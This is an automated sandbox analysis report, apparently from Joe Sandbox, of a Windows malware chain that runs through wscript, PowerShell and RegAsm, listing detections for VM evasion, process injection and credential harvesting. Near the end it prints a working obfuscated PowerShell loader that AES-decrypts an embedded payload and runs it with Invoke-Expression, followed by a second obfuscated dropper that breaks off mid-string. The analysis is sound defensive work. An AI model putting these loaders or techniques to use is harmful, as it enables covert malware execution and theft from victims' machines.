Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7632, type: MEMORYSTR

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040F7A7 Sleep,ExitProcess,

4_2_0040F7A7

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Source: C:\Windows\SysWOW64\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Service

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,

7_2_0040DD85

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

4_2_0041A748

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4222	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5637	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 2237	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 7237	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: foregroundWindowGot 1767	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6539	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3231	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7550
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2233

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 9.6 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4112	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4320	Thread sleep count: 235 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4320	Thread sleep time: -117500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6152	Thread sleep count: 2237 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6152	Thread sleep time: -6711000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6152	Thread sleep count: 7237 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6152	Thread sleep time: -21711000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 2300	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep count: 7550 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7684	Thread sleep count: 2233 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	4_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	4_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	4_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	4_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044E879 FindFirstFileExA,	4_2_0044E879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	4_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040783C FindFirstFileW,FindNextFileW,	4_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	4_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	4_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	4_2_0040BD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_100010F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_10006580 FindFirstFileExA,	4_2_10006580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040AE51 FindFirstFileW,FindNextFileW,	7_2_0040AE51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,	8_2_00407EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,	9_2_00407898

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

4_2_00407C97

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00418981 memset,GetSystemInfo,

7_2_00418981

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 0000000A.00000002.3373832812.0000000006BD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlle
Source: RegAsm.exe, 00000004.00000002.3268413511.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.3265268792.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2144857446.0000000005A7B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2125342287.0000000005A7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2127051789.0000000005A7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2123291367.0000000005A7D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3352588129.0000000007C81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000005.00000003.2138407115.000000000331F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2125566333.0000000003306000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2141540834.0000000003323000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2141056632.0000000003306000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2138288688.000000000331A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2137941761.000000000330E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2143677707.000000000332B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2124716308.00000000032CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2142018214.0000000003328000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2126019365.000000000332D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2137522930.0000000003307000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhO
Source: RegAsm.exe, 00000004.00000002.3268413511.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: wscript.exe, 00000005.00000002.2143371503.00000000032F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: agerVirtual DiskHyper-V Guest Service InterfacevmicheartbeatHyper-V Data Exchange ServiceHyper-V Remote Desktop Virtualization ServicevmicshutdownHyper-V Time Synchronization ServiceHyper-V PowerShell Direct ServicevmicvssVolume Shadow CopyWindows TimeWalletServiceWarpJITSvcBlock Level Backup Engine ServiceWindows Biometric ServiceWindows Connection ManagerWindows Connect Now - Config RegistrarDiagnostic Service HostDiagnostic System HostMicrosoft Defender Antivirus Network Inspection ServiceWebClientWindows Event CollectorWindows Encryption Provider Host ServiceProblem Reports Control Panel SupportWindows Error Reporting ServiceWi-Fi Direct Services Connection Manager ServiceStill Image Acquisition EventsMicrosoft Defender Antivirus ServiceWinHTTP Web Proxy Auto-Discovery ServiceWindows Management InstrumentationWindows Remote Management (WS-Management)Windows Insider ServiceWLAN AutoConfigMicrosoft Account Sign-in AssistantLocal Profile Assistant ServiceWindows Management ServiceWMI Performance AdapterWindows Media Player Network Sharing ServiceWork FoldersParental ControlsPortable Device Enumerator ServiceWindows Push Notifications System ServiceSecurity CenterWindows SearchWindows UpdateWWAN AutoConfigXbox Live Auth ManagerXbox Live Game SaveXbox Accessory Management ServiceXbox Live Networking ServiceAgent Activation Runtime_27859GameDVR and Broadcast User Service_27859Bluetooth User Support Service_27859CaptureService_27859Clipboard User Service_27859Connected Devices Platform User Service_27859ConsentUX_27859CredentialEnrollmentManagerUserSvc_27859DeviceAssociationBroker_27859DevicePicker_27859DevicesFlow_27859MessagingService_27859Sync Host_27859Contact Data_27859PrintWorkflow_27859Udk User Service_27859User Data Storage_27859User Data Access_27859F
Source: wscript.exe, 00000005.00000002.2143238123.00000000032D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r-v guest service interfacevmicheartbeathyper-v data exchange servicehyper-v remote desktop virtualization servicevmicshutdownhyper-v time synchronization servicehyper-v powershell direct servicevmicvssvolume shadow copywindows timewalletservicewarpjitsvcblock level backup engine servicewindows biometric servicewindows connection managerwindows connect now - config registrardiagnostic service hostdiagnostic system hostmicrosoft defender antivirus network inspection servicewebclientwindows event collectorwindows encryption provider host serviceproblem reports control panel supportwindows error reporting servicewi-fi direct services connection manager servicestill image acquisition eventsmicrosoft defender antivirus servicewinhttp web proxy auto-discovery servicewindows management instrumentationwindows remote management (ws-management)windows insider servicewlan autoconfigmicrosoft account sign-in assistantlocal profile assistant servicewindows management servicewmi performance adapterwindows media player network sharing servicework foldersparental controlsportable device enumerator servicewindows push notifications system servicesecurity centerwindows searchwindows updatewwan autoconfigxbox live auth managerxbox live game savexbox accessory management servicexbox live networking serviceagent activation runtime_27859gamedvr and broadcast user service_27859bluetooth user support service_27859captureservice_27859clipboard user service_27859connected devices platform user service_27859consentux_27859credentialenrollmentmanagerusersvc_27859deviceassociationbroker_27859devicepicker_27859devicesflow_27859messagingservice_27859sync host_27859contact data_27859printworkflow_27859udk user service_27859user data storage_27859user data access_27859windows push notifications user service_27859^:
Source: wscript.exe, 00000000.00000003.1989416840.000001DA6153D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}SERTBO
Source: powershell.exe, 00000002.00000002.2167362177.000001B1E9A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: bhvCCC4.tmp.7.dr	Binary or memory string: https://config.edge.skype.com/config/v1/Skype/1446_8.53.0.77?OSVer=10.0.19045.2006&ClientID=RHTiQUpXOaQeBtbq%2B7LgJauNdx5lF%2FQ%2FOy2qwXRNGjU%3D&Manufacturer=VMware%2C%20Inc.&Model=VMware20%2C1&Language=en&Locale=en-US

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node			graph_4-55334
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell decode and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_004349F9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

7_2_0040DD85

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

4_2_0041CB50

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004432B5 mov eax, dword ptr fs:[00000030h]		4_2_004432B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_10004AB4 mov eax, dword ptr fs:[00000030h]		4_2_10004AB4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00411CFE SetLastError,GetNativeSystemInfo,SetLastError,GetProcessHeap,HeapAlloc,SetLastError,

4_2_00411CFE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004349F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00434B47 SetUnhandledExceptionFilter,	4_2_00434B47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0043BB22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00434FDC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_100060E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_10002639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_10002639
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_10002B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_10002B1C

HIPS / PFW / Operating System Protection Evasion

Source: Yara match

File source: amsi64_4432.amsi.csv, type: OTHER

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_4432.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_7244.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7632, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004180EF GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,

4_2_004180EF

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B08008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

4_2_004120F7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00419627 mouse_event,

4_2_00419627

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\jmlaun"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\tgqsvxbzg"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn 